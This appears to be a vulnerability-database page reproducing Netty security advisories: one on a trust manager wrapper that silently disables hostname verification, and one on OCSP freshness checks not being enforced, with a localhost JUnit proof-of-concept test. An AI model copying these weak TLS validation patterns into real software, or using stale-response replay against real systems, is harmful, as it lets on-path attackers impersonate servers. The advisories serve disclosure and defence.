"details": "SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE\u0027s internal AbstractTrustManagerWrapper nor Netty\u0027s own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all.",
"id": "GHSA-c653-97m9-rcg9",
"modified": "2026-06-15T20:45:45Z",
"published": "2026-06-15T20:45:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Wrapping plain trust manager silently disables hostname verification"
}
GHSA-G7HG-VRCF-MVMR
Vulnerability from github – Published: 2026-07-22 21:46 – Updated: 2026-07-22 21:46
VLAI
Summary
Netty: Out-of-date OCSP Responses Accepted by OcspServerCertificateValidator
Details
Summary
OcspServerCertificateValidator flags an out-of-date OCSP response but does not stop processing it, so an expired GOOD response is still reported as VALID, letting an on-path attacker replay a stale GOOD response to bypass revocation of a since-revoked certificate.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered the freshness check has no return, so execution falls through and a VALID OcspValidationEvent is still fired:
if (!(current.after(response.getThisUpdate()) &&
current.before(response.getNextUpdate()))) {
ctx.fireExceptionCaught(new IllegalStateException("OCSP Response is out-of-date"));
}
Nonce validation is optional and off by default, so freshness is the only replay defense — and it is not enforced. Additionally getNextUpdate() may be null, making current.before(null) throw NullPointerException.
https://datatracker.ietf.org/doc/html/rfc6960#section-3.2
5. The time at which the status being indicated is known to be
correct (thisUpdate) is sufficiently recent;
6. When available, the time at or before which newer information will
be available about the status of the certificate (nextUpdate) is
greater than the current time.
PoC
Add the test below to io.netty.handler.ssl.ocsp.OcspServerCertificateValidatorTest
@Test
void staleOcspResponseIsRejected() throws Exception {
X509Bundle caRoot = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TrustedRootCA")
.setIsCertificateAuthority(true)
.buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
AuthorityInformationAccess aia = new AuthorityInformationAccess(
new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
X509Bundle targetCert = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TargetServer")
.addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
.buildIssuedBy(caRoot);
Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7));
CertificateID certId = new CertificateID(
new JcaDigestCalculatorProviderBuilder().build().get(CertificateID.HASH_SHA1),
new JcaX509CertificateHolder(caRoot.getCertificate()),
targetCert.getCertificate().getSerialNumber());
BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder(
new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject()));
respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past);
BasicOCSPResp expiredBasicResp = respBuilder.build(
new JcaContentSignerBuilder("SHA256withRSA").build(caRoot.getKeyPair().getPrivate()),
new X509CertificateHolder[0],
past);
final byte[] responseEncoded = new OCSPRespBuilder()
.build(OCSPRespBuilder.SUCCESSFUL, expiredBasicResp).getEncoded();
IoTransport defaultTransport = createDefaultTransport();
IoTransport mockTransport = IoTransport.create(defaultTransport.eventLoop(), () -> {
NioSocketChannel channel = new NioSocketChannel();
channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
@Override
public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress,
SocketAddress localAddress, ChannelPromise promise) {
promise.setSuccess();
ctx.executor().execute(() -> {
ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, HttpResponseStatus.OK,
Unpooled.wrappedBuffer(responseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,
httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse);
});
}
});
return channel;
}, defaultTransport.datagramChannel());
SslContext serverSslCtx = SslContextBuilder
.forServer(targetCert.getKeyPair().getPrivate(),
targetCert.getCertificate(), caRoot.getCertificate())
.build();
Channel serverChannel = new ServerBootstrap()
.group(defaultTransport.eventLoop())
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
}
})
.bind(0).sync().channel();
int serverPort = ((InetSocketAddress) serverChannel.localAddress()).getPort();
AtomicBoolean validEventFired = new AtomicBoolean();
AtomicReference<Throwable> caughtException = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
SslContext clientSslCtx = SslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.build();
new Bootstrap()
.group(defaultTransport.eventLoop())
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", serverPort));
ch.pipeline().addLast(
new OcspServerCertificateValidator(true, false, mockTransport, resolver));
ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
if (evt instanceof OcspValidationEvent &&
((OcspValidationEvent) evt).response().status() ==
OcspResponse.Status.VALID) {
validEventFired.set(true);
}
ctx.fireUserEventTriggered(evt);
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
caughtException.compareAndSet(null, cause);
ctx.channel().close();
latch.countDown();
}
});
}
})
.connect("127.0.0.1", serverPort).sync();
assertTrue(latch.await(5, TimeUnit.SECONDS));
assertFalse(validEventFired.get(),
"OcspValidationEvent(VALID) must not be emitted for a stale OCSP response");
assertNotNull(caughtException.get());
assertInstanceOf(IllegalStateException.class, caughtException.get());
serverChannel.close().sync();
resolver.close();
}
Impact
Certificate revocation bypass via replay of an expired OCSP response. Any application using OcspServerCertificateValidator is affected; a revoked certificate can be accepted.
Severity
7.4 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-ssl-ocsp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-ssl-ocsp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56821"
],
"database_specific": {
"cwe_ids": [
"CWE-299"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:46:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`OcspServerCertificateValidator` flags an out-of-date OCSP response but does not stop processing it, so an expired GOOD response is still reported as `VALID`, letting an on-path attacker replay a stale GOOD response to bypass revocation of a since-revoked certificate.\n\n### Details\nIn `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered` the freshness check has no `return`, so execution falls through and a `VALID` `OcspValidationEvent` is still fired:\n\n```java\n if (!(current.after(response.getThisUpdate()) \u0026\u0026\n current.before(response.getNextUpdate()))) {\n ctx.fireExceptionCaught(new IllegalStateException(\"OCSP Response is out-of-date\"));\n }\n```\n\nNonce validation is optional and off by default, so freshness is the only replay defense \u2014 and it is not enforced. Additionally `getNextUpdate()` may be `null`, making `current.before(null)` throw `NullPointerException`.\n\nhttps://datatracker.ietf.org/doc/html/rfc6960#section-3.2\n\n```\n 5. The time at which the status being indicated is known to be\n correct (thisUpdate) is sufficiently recent;\n\n 6. When available, the time at or before which newer information will\n be available about the status of the certificate (nextUpdate) is\n greater than the current time.\n```\n\n### PoC\n\nAdd the test below to `io.netty.handler.ssl.ocsp.OcspServerCertificateValidatorTest`\n\n```java\n @Test\n void staleOcspResponseIsRejected() throws Exception {\n X509Bundle caRoot = new CertificateBuilder()\n .algorithm(CertificateBuilder.Algorithm.rsa2048)\n .subject(\"CN=TrustedRootCA\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n AuthorityInformationAccess aia = new AuthorityInformationAccess(\n new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n X509Bundle targetCert = new CertificateBuilder()\n .algorithm(CertificateBuilder.Algorithm.rsa2048)\n .subject(\"CN=TargetServer\")\n .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n .buildIssuedBy(caRoot);\n\n Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7));\n CertificateID certId = new CertificateID(\n new JcaDigestCalculatorProviderBuilder().build().get(CertificateID.HASH_SHA1),\n new JcaX509CertificateHolder(caRoot.getCertificate()),\n targetCert.getCertificate().getSerialNumber());\n BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder(\n new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject()));\n respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past);\n BasicOCSPResp expiredBasicResp = respBuilder.build(\n new JcaContentSignerBuilder(\"SHA256withRSA\").build(caRoot.getKeyPair().getPrivate()),\n new X509CertificateHolder[0],\n past);\n final byte[] responseEncoded = new OCSPRespBuilder()\n .build(OCSPRespBuilder.SUCCESSFUL, expiredBasicResp).getEncoded();\n\n IoTransport defaultTransport = createDefaultTransport();\n IoTransport mockTransport = IoTransport.create(defaultTransport.eventLoop(), () -\u003e {\n NioSocketChannel channel = new NioSocketChannel();\n channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n @Override\n public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress,\n SocketAddress localAddress, ChannelPromise promise) {\n promise.setSuccess();\n ctx.executor().execute(() -\u003e {\n ctx.pipeline().fireChannelActive();\n DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n HttpVersion.HTTP_1_1, HttpResponseStatus.OK,\n Unpooled.wrappedBuffer(responseEncoded));\n httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,\n httpResponse.content().readableBytes());\n ctx.pipeline().fireChannelRead(httpResponse);\n });\n }\n });\n return channel;\n }, defaultTransport.datagramChannel());\n\n SslContext serverSslCtx = SslContextBuilder\n .forServer(targetCert.getKeyPair().getPrivate(),\n targetCert.getCertificate(), caRoot.getCertificate())\n .build();\n Channel serverChannel = new ServerBootstrap()\n .group(defaultTransport.eventLoop())\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));\n }\n })\n .bind(0).sync().channel();\n\n int serverPort = ((InetSocketAddress) serverChannel.localAddress()).getPort();\n\n AtomicBoolean validEventFired = new AtomicBoolean();\n AtomicReference\u003cThrowable\u003e caughtException = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);\n SslContext clientSslCtx = SslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .build();\n new Bootstrap()\n .group(defaultTransport.eventLoop())\n .channel(NioSocketChannel.class)\n .handler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), \"127.0.0.1\", serverPort));\n ch.pipeline().addLast(\n new OcspServerCertificateValidator(true, false, mockTransport, resolver));\n ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {\n if (evt instanceof OcspValidationEvent \u0026\u0026\n ((OcspValidationEvent) evt).response().status() ==\n OcspResponse.Status.VALID) {\n validEventFired.set(true);\n }\n ctx.fireUserEventTriggered(evt);\n }\n\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n caughtException.compareAndSet(null, cause);\n ctx.channel().close();\n latch.countDown();\n }\n });\n }\n })\n .connect(\"127.0.0.1\", serverPort).sync();\n\n assertTrue(latch.await(5, TimeUnit.SECONDS));\n assertFalse(validEventFired.get(),\n \"OcspValidationEvent(VALID) must not be emitted for a stale OCSP response\");\n assertNotNull(caughtException.get());\n assertInstanceOf(IllegalStateException.class, caughtException.get());\n\n serverChannel.close().sync();\n resolver.close();\n }\n```\n### Impact\nCertificate revocation bypass via replay of an expired OCSP response. Any application using `OcspServerCertificateValidator` is affected; a revoked certificate can be accepted.",
"id": "GHSA-g7hg-vrcf-mvmr",
"modified": "2026-07-22T21:46:39Z",
"published": "2026-07-22T21:46:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Out-of-date OCSP Responses Accepted by OcspServerCertificateValidator"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…